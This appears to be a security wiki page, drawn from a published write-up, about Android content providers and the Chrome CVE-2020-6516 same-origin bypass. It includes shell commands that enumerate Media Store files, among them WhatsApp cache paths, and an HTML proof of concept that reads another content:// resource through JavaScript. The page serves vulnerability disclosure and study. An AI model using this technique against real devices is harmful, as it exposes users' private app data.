content:// protocol

To experiment with content providers, one can use the content command on Android devices. Root access is not necessarily required. For example, to see the list of files managed by the Media Store, one can execute the following command:

$ content query --uri content://media/external/file

To make the output more human friendly, one can limit the displayed columns to the identifier and path of each indexed file.

$ content query --uri content://media/external/file --projection _id,_data

Media providers exist in their own private namespace. As illustrated in the example above, to access a content provider the corresponding content:// URI should be specified. Generally, information on the paths, via which a provider can be accessed, can be recovered by looking at application manifests (in case the content provider is exported by an application) or the source code of the Android framework.

Interestingly, on Android devices Chrome supports accessing content providers via the content:// scheme. This feature allows the browser to access resources (e.g. photos, documents etc.) exported by third party applications. To verify this, one can insert a custom entry in the Media Store and then access it using the browser:

$ cd /sdcard
$ echo "Hello, world!" > test.txt
$ content insert --uri content://media/external/file \
    --bind _data:s:/storage/emulated/0/test.txt \
    --bind mime_type:s:text/plain

To discover the identifier of the newly inserted file:

$ content query --uri content://media/external/file \
    --projection _id,_data | grep test.txt
Row: 283 _id=747, _data=/storage/emulated/0/test.txt

And to actually view the file in Chrome, one can use a URL like the one shown in the following picture. Notice the file identifier 747 (discovered above) which is used as a suffix in the URL.

For example, you could list all the files related to WhatsApp with:

$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
...

Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
...

The Chrome CVE-2020-6516 Same-Origin-Policy bypass

The Same Origin Policy (SOP) [12] in browsers dictates that Javascript content of URL A will only be able to access content at URL B if the following URL attributes remain the same for A and B:

  • The protocol e.g. https vs. http

  • The domain e.g. www.example1.com vs. www.example2.com

  • The port e.g. www.example1.com:8080 vs. www.example1.com:8443

Of course, there are exceptions to the above rules, but in general, a resource from https://www.example1.com (e.g. a piece of Javascript code) cannot access the DOM of a resource on https://www.example2.com, as this would introduce serious information leaks. Unless a Cross-Origin-Resource-Sharing (CORS) policy explicitly allows so, it shouldn't be possible for a web resource to bypass the SOP rules.

It's essential to note that Chrome considers content:// to be a local scheme, just like file://. In this case SOP rules are even more strict, as each local scheme URL is considered a separate origin. For example, Javascript code in file:///tmp/test.html should not be able to access the contents of file:///tmp/test2.html, or any other file on the filesystem for that matter. Consequently, according to SOP rules, a resource loaded via content:// should not be able access any other content:// resource. Well, vulnerability CVE-2020-6516 of Chrome created an "exception" to this rule.

CVE-2020-6516 [03] is a SOP bypass on resources loaded via a content:// URL. For example, Javascript code, running from within the context of an HTML document loaded from content://com.example.provider/test.html, can load and access any other resource loaded via a content:// URL. This is a serious vulnerability, especially on devices running Android 9 or previous versions of Android. On these devices scoped storage [13] is not implemented and, consequently, application-specific data under /sdcard, and more interestingly under /sdcard/Android, can be accessed via the system's Media Store content provider.

A proof-of-concept is pretty straightforward. An HTML document that uses XMLHttpRequest to access arbitrary content:// URLs is uploaded under /sdcard. It is then added in the Media Store and rendered in Chrome, in a fashion similar to the example shown earlier. For demonstration purposes, one can attempt to load content://media/external/file/747 which is, in fact, the Media Store URL of the "Hello, world!" example. Surprisingly, the Javascript code, running within the origin of the HTML document, will fetch and display the contents of test.txt.

<html>
<head>
    <title>PoC</title>
    <script type="text/javascript">
        function poc()
        {
            var xhr = new XMLHttpRequest();

            xhr.onreadystatechange = function()
            {
                if(this.readyState == 4)
                {
                    if(this.status == 200 || this.status == 0)
                    {
                        alert(xhr.response);
                    }
                }
            }

            xhr.open("GET", "content://media/external/file/747");
            xhr.send();
        }
    </script>
</head>
<body onload="poc()"></body>
</html>

Information taken from this writeup: https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/****

Last updated